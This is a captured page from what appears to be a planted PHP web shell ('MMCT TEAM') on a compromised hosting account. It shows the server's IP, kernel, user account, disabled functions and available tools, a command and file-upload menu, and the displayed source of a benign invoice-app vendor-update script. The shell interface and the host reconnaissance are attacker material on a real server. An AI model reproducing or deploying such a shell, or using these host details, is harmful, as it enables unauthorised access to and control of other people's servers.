MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/invoice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/invoice/ajax_update_vendor.php
<?php
include 'db.php'; // Database connection

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $veid = $_POST['veid']; // Vendor ID from hidden input
    $vename = $_POST['vename'];
    $vephone = $_POST['vephone'];
    $biadress = $_POST['biadress'];
    $bicity = $_POST['bicity'];
    $bipincode = $_POST['bipincode'];
    $bestate = $_POST['bestate'];
    $veemail = $_POST['veemail'];
    $vegstnum = $_POST['vegstnum'];

    // Optional: Check if another vendor with the same name exists
    $checkStmt = $con->prepare("SELECT * FROM vendor WHERE vename = ? AND veid != ?");
    $checkStmt->bind_param("si", $vename, $veid);
    $checkStmt->execute();
    $checkStmt->store_result();

    if ($checkStmt->num_rows > 0) {
        echo json_encode(['status' => 'error', 'message' => 'Vendor name already exists.']);
    } else {
        $stmt = $con->prepare("UPDATE vendor SET vename = ?, vephone = ?, biadress = ?, bicity = ?, bipincode = ?, bestate = ?, veemail = ?, vegstnum = ?  WHERE veid = ?");
        $stmt->bind_param("ssssssssi", $vename, $vephone, $biadress, $bicity, $bipincode, $bestate, $veemail, $vegstnum, $veid);

        if ($stmt->execute()) {
            echo json_encode(['status' => 'success', 'message' => 'Vendor updated successfully.']);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Update failed.']);
        }

        $stmt->close();
    }

    $checkStmt->close();
    $con->close();
}
?>

MMCT - 2023